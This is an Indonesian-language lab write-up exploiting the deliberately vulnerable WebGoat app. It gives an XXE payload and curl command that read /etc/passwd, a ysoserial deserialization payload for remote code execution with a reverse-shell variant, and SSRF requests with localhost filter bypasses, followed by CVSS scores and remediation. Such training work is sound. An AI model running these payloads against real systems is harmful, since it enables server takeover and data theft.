WebGoat - XXE, Insecure Deserialization & SSRF
Target:
webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat
Kredensial: guest /
guest
Level: Advanced
Objective
Mengeksploitasi tiga kerentanan berbeda pada aplikasi WebGoat yang berjalan di Apache Tomcat:
- XXE (XML External Entity) - membaca file sensitif dari server
- Insecure Deserialization - Remote Code Execution (RCE) via serialized Java object
- SSRF (Server-Side Request Forgery) - mengakses internal admin panel yang tidak terekspos ke publik
Reconnaissance
1. Akses WebGoat
Buka browser dan arahkan ke:
http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat
Login menggunakan guest / guest.
2. Identifikasi Endpoint
WebGoat menyediakan menu challenge dengan kategori:
- XXE - pada menu General → XXE
- Insecure Deserialization - pada menu Insecure Deserialization
- SSRF - pada menu General → SSRF
Exploitation
Exploit 1: XXE - File Read
Langkah 1: Inject XXE Payload
Pada halaman XXE challenge, intercept request menggunakan Burp Suite atau langsung kirim via cURL.
Request normal (POST):
POST /WebGoat/xxe/simple HTTP/1.1
Host: webgoat-vuln.vuln.cybersecurity.or.id:9090
Content-Type: application/xml
<?xml version="1.0"?><comment><text>test</text></comment>
Modifikasi payload XML dengan XXE untuk membaca
/etc/passwd:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<comment><text>&xxe;</text></comment>
Langkah 2: Eksekusi
curl -X POST http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat/xxe/simple \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><comment><text>&xxe;</text></comment>'
Hasil: Server mengembalikan isi file
/etc/passwd dalam response.
Exploit 2: Insecure Deserialization - RCE
Langkah 1: Identifikasi Endpoint
WebGoat memiliki endpoint yang melakukan deserialisasi objek Java dari input user.
Langkah 2: Buat Serialized Object Berbahaya
Gunakan ysoserial untuk membuat payload RCE:
java -jar ysoserial-all.jar CommonsCollections5 \
"touch /tmp/pwned-webgoat" > payload.ser
Langkah 3: Kirim Payload
curl -X POST http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat/deserialize/payload \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.ser
Hasil: File /tmp/pwned-webgoat berhasil
dibuat di server.
Untuk RCE dengan reverse shell:
# Generate payload reverse shell
java -jar ysoserial-all.jar CommonsCollections5 \
"bash -c {echo,base64_revshell}|{base64,-d}|{bash,-i}" > revshell.ser
curl -X POST ... --data-binary @revshell.ser
Exploit 3: SSRF - Akses Internal Admin Panel
Langkah 1: Eksploitasi Endpoint SSRF
Endpoint SSRF WebGoat menerima URL sebagai parameter.
Payload:
POST /WebGoat/ssrf/url HTTP/1.1
Host: webgoat-vuln.vuln.cybersecurity.or.id:9090
Content-Type: application/x-www-form-urlencoded
url=http://vuln.cybersecurity.or.id/admin
Via cURL:
curl -X POST http://webgoat-vuln.vuln.cybersecurity.or.id:9090/WebGoat/ssrf/url \
-d "url=http://vuln.cybersecurity.or.id/admin"
Langkah 2: Bypass Filter
Jika ada filter untuk localhost, gunakan alternatif:
# Gunakan 127.0.0.1
curl -X POST ... -d "url=http://127.0.0.1:8080/admin"
# Gunakan representasi IP desimal
curl -X POST ... -d "url=http://2130706433:8080/admin"
# Gunakan DNS rebinding atau short URL
curl -X POST ... -d "url=http://0:8080/admin"
Hasil: Response berisi konten halaman admin internal yang tidak seharusnya dapat diakses dari luar.
Evidence
| Exploit | Bukti |
|---|---|
| XXE | Isi /etc/passwd tercantum dalam response
HTTP |
| Insecure Deserialization | File /tmp/pwned-webgoat terbuat di server
|
| SSRF | Halaman admin panel internal berhasil di-render |
️ Risk Assessment
XXE - CVSS 9.8 (Critical)
- CVSS Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - OWASP Top 10: A05:2021 - Security Misconfiguration (XXE)
- Dampak: Attacker dapat membaca file sensitif, melakukan SSRF, dan DoS
Insecure Deserialization - CVSS 9.8 (Critical)
- CVSS Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - OWASP Top 10: A08:2021 - Software and Data Integrity Failures
- Dampak: RCE penuh pada server WebGoat
SSRF - CVSS 8.6 (High)
- CVSS Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - OWASP Top 10: A10:2021 - Server-Side Request Forgery
- Dampak: Akses ke service internal yang tidak terautentikasi
️ Remediation
XXE
- Nonaktifkan DTD processing pada XML
parser:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
- Gunakan format data yang lebih aman (JSON, YAML)
- Validasi dan sanitasi semua input XML
Insecure Deserialization
- Jangan deserialisasi data dari source yang tidak terpercaya
- Gunakan signing untuk memverifikasi integritas
object:
// HMAC signature verification sebelum deserialisasi
- Implementasi whitelist class yang diizinkan untuk deserialisasi
- Gunakan alternatif seperti JSON serialization
SSRF
- Whitelist domain/IP yang diizinkan
- Nonaktifkan akses ke private IP range (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8)
- Gunakan URL parser yang aman dan validasi protocol
- Implementasi network segmentation